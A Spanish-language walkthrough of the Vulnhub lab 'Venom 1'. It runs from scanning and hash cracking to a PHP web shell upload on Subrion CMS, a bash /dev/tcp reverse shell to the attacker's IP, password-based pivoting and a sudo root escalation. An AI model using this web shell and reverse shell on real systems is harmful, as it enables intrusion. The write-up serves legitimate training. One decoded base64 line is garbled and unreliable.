Venom 1
Walkthrough de la máquina Venom 1 de Vulnhub
Obteniendo la IP de la máquina víctima
Lo primero que vamos a hacer es tratar de descubrir en qué IP está la máquina víctima. Para ello vamos a usar nmap
indicándole que queremos hacer un ping scan (-sn
) para toda la red en la que nos encontramos. Si no estamos como el usuario root
es recomendable usar sudo
para obtener más información de los equipos que se encuentren en la red:
sudo nmap -sn 10.0.0.1/24
Resultado:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-18 08:15 CET Nmap scan report for 10.0.0.1 Host is up (0.014s latency). MAC Address: D8:07:B6:E7:EB:80 (Tp-link Technologies) Nmap scan report for 10.0.0.101 Host is up (0.00022s latency). MAC Address: 7C:50:79:8E:CA:DD (Intel Corporate) Nmap scan report for 10.0.0.102 Host is up (0.0018s latency). MAC Address: 08:00:27:64:80:00 (Oracle VirtualBox virtual NIC) Nmap scan report for 10.0.0.100 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 3.93 seconds
Nmap nos indica que ha detectado 4 dispositivos:
10.0.0.1
: router10.0.0.101
: máquina anfitriona10.0.0.102
: máquina víctima10.0.0.100
: máquina atacante
Lo siguiente que vamos a hacer es agregar la IP de la máquina víctima a nuestro /etc/hosts
. De esta manera no necesitamos recordar la IP y podemos usar el nombre que le pongamos. Editamos el fichero /etc/hosts
y agregamos la siguiente línea al final del mismo:
10.0.0.102 venom1.ctf
Ahora si hacemos un ping venom1.ctf -c 1
deberíamos obtener la siguiente respuesta:
PING venom1.ctf (10.0.0.102) 56(84) bytes of data. 64 bytes from venom1.ctf (10.0.0.102): icmp_seq=1 ttl=64 time=0.570 ms --- venom1.ctf ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.570/0.570/0.570/0.000 ms
Esto nos confirma que resuelve correctamente el hostname que le hemos asignado.
Escaneo de puertos
Una vez que tenemos la IP de la máquina víctima, lo que vamos a hacer es tratar de detectar los puertos que tiene abiertos. Para ello vamos a lanzar otro escaneo con nmap
contra todo el rango de puertos (-p-
) usando la plantilla de temporizado más rápida (-T5
), filtrando por los puertos abiertos (--open
), y deshabilitando la resolución de DNS (-n
) y el descubrimiento de hosts (-Pn
):
nmap -p- -T5 --open -Pn -n venom1.ctf
Resultado:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-18 08:34 CET Nmap scan report for venom1.ctf (10.0.0.102) Host is up (0.0011s latency). Not shown: 65455 filtered tcp ports (no-response), 74 filtered tcp ports (host-unreach), 3 closed tcp ports (conn-refused) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE 21/tcp open ftp 80/tcp open http 443/tcp open https Nmap done: 1 IP address (1 host up) scanned in 72.37 seconds
De este escaneo obtenemos que tenemos los siguientes puertos abiertos: 21 (FTP), 80 (HTTP), y el 443 (HTTPS). Sabiendo que estos puertos están abiertos, lo siguiente que vamos a hacer es tratar de detectar qué servicios se están exponiendo y las versiones de los mismos (-sCV
):
nmap -p 21,80,443 -sCV venom1.ctf
Resultado:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-18 08:40 CET Nmap scan report for venom1.ctf (10.0.0.102) Host is up (0.00031s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.29 (Ubuntu) 443/tcp open http Apache httpd 2.4.29 |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.29 (Ubuntu) Service Info: Host: 127.0.1.1; OS: Unix Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.44 seconds
Del resultado de este escaneo más detallado obtenemos lo siguiente:
21/tcp
: FTP - vsftpd 3.0.380/tcp
: HTTP - Apache httpd 2.4.29 ((Ubuntu))443/tcp
: HTTP - Apache httpd 2.4.29
Aquí está ocurriendo algo que nos puede llevar a error. A pesar de que está el puerto 443 abierto (que correspondería a HTTPS), actualmente hay un servicio HTTP en él, así que si intentamos acceder con https://
no funcionaría.
Análisis de los servicios HTTP (80,443/TCP)
Como el escaneo de puertos nos ha indicado que los puertos 80 y 443 están abiertos y tienen expuesto un servicio HTTP, lo primero que vamos a hacer es ver qué se está exponiendo en la ruta raíz. Si accedemos a http://venom1.ctf/
y a http://venom1.ctf:443/
observamos que es la página por defecto de Apache (como ya nos había indicado nmap
). Sin embargo, si vamos a la parte final de la página nos encontramos con lo siguiente:
<!...<5f2a66f947fa5690c26506f66bde5c23> follow this to get access on somewhere.....-->
Ese hash parece ser un hash md5
. Vamos a intentar crackear ese hash usando John the Ripper. Para ello guardamos el hash en un fichero (md5.txt
) y a continuación ejecutamos john
indicándole el tipo de hash (Raw-MD5
) y usando un diccionaro de contraseñas (--wordlist
):
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt md5.txt
Resultado:
Using default input encoding: UTF-8 Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3]) Warning: no OpenMP support for this hash type, consider --fork=4 Press 'q' or Ctrl-C to abort, almost any other key for status hostinger (?) 1g 0:00:00:00 DONE (2023-03-18 10:58) 2.439g/s 18395Kp/s 18395Kc/s 18395KC/s hot042..hostile33 Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably Session completed
El resultado del crackeo del hash nos revela que el contenido que oculataba era la siguiente palabra:
hostinger
.
Si tratamos de listar directorios no encontramos nada relevante, ni siquirea usando la palabra que hemos encontrado. Puede que esa palabra sea una contraseña y/o usuario, así que podemos hacer alguna prueba mediante FTP ya que ese servicio también estaba expuesto.
Análisis del servicio FTP (21/TCP)
Como no hemos encotrado nada analizando los servicios HTTP más allá de la palabra hostinger
, lo siguiente que podemos hacer es comprobar si esa palabra es un usuario válido o una credencial válida del usuario root
o el propio usuario hostinger
. Usando como usuario y contraseña hostinger
conseguimos conectarnos:
ftp venom1.ctf
Resultado:
Connected to venom1.ctf. 220 (vsFTPd 3.0.3) Name (venom1.ctf:parrot): hostinger 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp>
Si investigamos los recursos que tenemos accesibles mediante FTP encontamos que existe un fichero files/hint.txt
. Nos lo traemos a la máquina atacante y vemos el contenido:
Hey there... T0D0 -- * You need to follow the 'hostinger' on WXpOU2FHSnRVbWhqYlZGblpHMXNibHBYTld4amJWVm5XVEpzZDJGSFZuaz0= also aHR0cHM6Ly9jcnlwdGlpLmNvbS9waXBlcy92aWdlbmVyZS1jaXBoZXI= * some knowledge of cipher is required to decode the dora password.. * try on venom.box password -- L7f9l8@J#p%Ue+Q1234 -> deocode this you will get the administrator password Have fun .. :)
Aquí tenemos varias cosas interesantes. Tenemos 2 cadenas de texto que parecen estar codificadas en base64, así que vamos a probar a decodificarlas haciendo uso de (echo -n [b64_string] | base64 -d; echo
):
WXpOU2FHSnRVbWhqYlZGblpHMXNibHBYTld4amJWVm5XVEpzZDJGSFZuaz0=
->YzNSaGJtUmhjbVFnZG1sblpXNWxjbVVE7r9t8@Q#h%Hy+M1234nWTJsd2FHVnk=
->c3RhbmRhcmQgdmlnZW5lcmUgY2lwaGVy
->standard vigenere cipher
aHR0cHM6Ly9jcnlwdGlpLmNvbS9waXBlcy92aWdlbmVyZS1jaXBoZXI=
->https://cryptii.com/pipes/vigenere-cipher
Por otro lado, también nos dice que probemos a acceder usando el hostname venom.box
, por lo que puede estar haciéndose uso de virtual hosting. Agregamos ese host a nuestro /etc/hosts
y probamos a acceder a la página. Al hacerlo vemos que nos carga una página creada con Subrion CMS. Si navegamos por la web vemos que podemos llegar hasta un panel de administración que se encuentra en http://venom.box/panel/
para el cual no tenemos credenciales.
Siguiendo la pista que nos dieron y probando diferentes combinaciones terminamos dando con la que nos permite acceder al panel de administarción:
- usuario:
dora
- contraseña:
E7r9t8@Q#h%Hy+M1234
Para obtener la contraseña tenemos que hacer lo siguiente en https://cryptii.com/pipes/vigenere-cipher:
- Poner como Ciphertext:
L7f9l8@J#p%Ue+Q1234
- Cambiar la segunda caja a
DECODE
- En VARIANT poner
standard vigenere cipher
- En KEY poner
hostinger
Ganando acceso a la máquina víctima
Como tenemos acceso al panel de administración y hay una sección en la que se pueden subir archivos, vamos a intentar subir nuestra propia PHP shell. Creamos en nuestra máquina un script en PHP con extensión .phar (cmd.phar
) con el siguiente contenido:
<?php system($_GET['cmd']); ?>
A continuación tratamos de subirlo desde el panel de administración y probamos a poner en el navegador lo siguiente:
http://venom.box/uploads/cmd.phar?cmd=id
Resultado:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Ahora que ya tenemos ejecución remota de comandos (RCE) en la máquina víctima, lo siguiente que podemos hacer es tratar de entablarnos una reverse shell para poder trabajar con más comodidad. Lo primero que hacemos es ponernos escucha en nuestra máquina mediante Netcat:
nc -nlvp 8888
Recibiendo el mensaje de confirmación de que estamos escuchando:
listening on [any] 8888 ...
A continuación, a través de la shell que hemos subido al servidor ejecutamos un comando para que nos establezca una conexión a nuestro Netcat (/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.100/8888 0>&1'
). Para ello hacemos un url encode del comando y lo pasamos por el parámetro cmd
de la url http://venom.box/uploads/cmd.phar?cmd=/bin/bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.0.0.100/8888%200%3E%261%27
obteniendo el siguiente resultado:
connect to [10.0.0.100] from (UNKNOWN) [10.0.0.102] 55536 www-data@venom:/var/www/html/subrion/uploads$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Ahora, para poder tener una shell completamente interactiva, lanzamos una pseudo consola con script /dev/null -c bash
, presionamos Ctrl + z
y hacemos un tratamiento de la tty con stty raw -echo; fg
. Hacemos reset
para reiniciar la configuración de la terminal, escribirmos xterm
como tipo de terminal y exportamos 2 variables de entorno:
export TERM=xterm
export SHELL=bash
Con esto ya deberíamos poder hacer Ctrl + c
para terminar la ejecución de un comando, o Ctrl + l
para limpiar la terminal. También podemos ir atrás en el histórico de comandos.
Si investigamos un poco el /etc/passwd
vemos que tenemos dos usuarios en el sistema además del usuario root
:
hostinger
: que ya lo conocíamosnathan
: nuevo usuario
Pivotando al usuario hostinger
Como nos hemos conectado con ese usuario a través de FTP anteriormente ya sabemos que tanto el usuario como la contraseña es hostinger
, así que hacemos su hostinger
y cambiamos a ese usuario.
Una vez hecho esto podemos comprobar que en su home (/home/hostinger
) podemos encontrar el directorio ftp
en el que encontramos el fichero hint.txt
anteriormente.
Pivotando al usuario nathan
Si investigamos el .bash_history
del usuario hostinger
vemos que, a parte de cambiar varias veces la usuario nathan
, tiene un backup del .htaccess
en /var/www/html/subrion/backup/.htaccess
. Si mostramos el contenido vemos lo siguiente:
allow from all You_will_be_happy_now :) FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a
La última línea de ese fichero puede ser una contraseña, así que la probamos contra el usuario nathan
a ver si es correcta. Hacemos su nathan
y ponemos como contraseña FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a
. Comprobamos que es correcta así que ya tenemos forma de pivotar a este usuario.
Si listamos el contenido del directorio home del usuario nathan
/home/nathan
encontramos el primer flag (user.txt
):W3_@r3_V3n0m:P
.
Ganando acceso como root
Lo primero que podemos hacer es ver los privilegios que tiene el usuario nathan
, así que ejecutamos sudo -l
:
Matching Defaults entries for nathan on venom: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User nathan may run the following commands on venom: (root) ALL, !/bin/su (root) ALL, !/bin/su
En principio podemos ejecutar como root
todos los binarios salvo el binario /bin/su
, así que podemos probar abrir una bash
como el usuario root
:
sudo /bin/bash
Resultado:
root@venom:~# whoami root
Así que con esto ya tendríamos acceso como root
a la máquina víctima.
Si listamos el contenido del directorio home del usuario root
/root
encontramos el segundo flag (root.txt
):#root_flag H@v3_a_n1c3_l1fe.
.